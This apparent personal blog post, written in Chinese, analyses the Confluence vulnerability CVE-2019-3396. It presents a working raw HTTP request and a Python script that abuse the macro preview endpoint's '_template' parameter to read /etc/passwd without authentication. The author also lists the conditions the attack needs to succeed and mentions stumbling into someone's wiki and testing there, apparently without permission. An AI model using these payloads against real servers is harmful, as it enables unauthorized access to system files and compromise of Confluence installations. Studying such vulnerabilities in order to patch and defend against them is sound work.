confluence RCE(CVE-2019-3396)漏洞分析

dalao说大厂都用这个做wiki

这两天confluence RCE看起来闹得很火,就强势围观一波,今天花了几个小时搞明白具体的payload的在哪,还是太菜

先看一下confluence是啥样子

con

大概就是这样,然后再看一下seebug的poc

POC

然后咱们进行复现

fuxian

通过这个复现,可以看出payload其实有两段

payload

通过这两段才能复现这个漏洞,今天搞了几个小时就是搞到了上面的那个,并没有下面那个,所以少了下面那个的POC其实不是太好操作的,今天通过下面这个POC没有复现出来,下面这个POC还是有点问题

POC

还是得多研究,最后放能够复现的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: https://xxx.xxx.xxx/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 180
Connection: close
Cookie: JSESSIONID=BFE2782A1A49D597B1FEEDDC71737D69
X-Forwarded-For: 8.8.8.8
Pragma: no-cache
Cache-Control: no-cache

{"contentId":"65601","macro":{"name":"widget","params":{"url":"https://www.dailymotion.com/video/xcpa64","width":"300","height":"200","_template":"file:////etc/passwd"},"body":""}}

到这一步,大概明白这个漏洞的几个关键点了,首先要用POST方法,第二个要带自己的cookie,第三个要是这个/rest/tinymce/1/macro/preview,第四个Referer后面要有这个/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&

我们根据自己的理解改一下这个payload,用python3运行,python2会有编码问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

paylaod = "http://xxx.xxx.xxx/rest/tinymce/1/macro/preview"

headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
"Referer": "http://xxx.xxx.xxx/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
"Content-Type": "application/json; charset=utf-8"
}
data = '{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}'

r = requests.post(paylaod, data=data, headers=headers)

print(r.text)

最后的结果

yunxing

说一下自己今天的研究吧,今天看到群里面的POC后,就想着试一下,结果发现有问题,机缘巧合进到了一个wiki里面,然后找到了这个连接,一直复现不成功,今天用pocsuite试过之后,就有点不明白了,为啥用POC能打成功,然后花了时间研究了一下,发现还是写脚本跑才能实现未授权,如果用burpsuite进行复现的话,登录之后找到连接才更好复现,真正实现未授权还是得搞明白几个关键点,跑脚本实现,说白了还是自己太菜,有点半斤八两得意思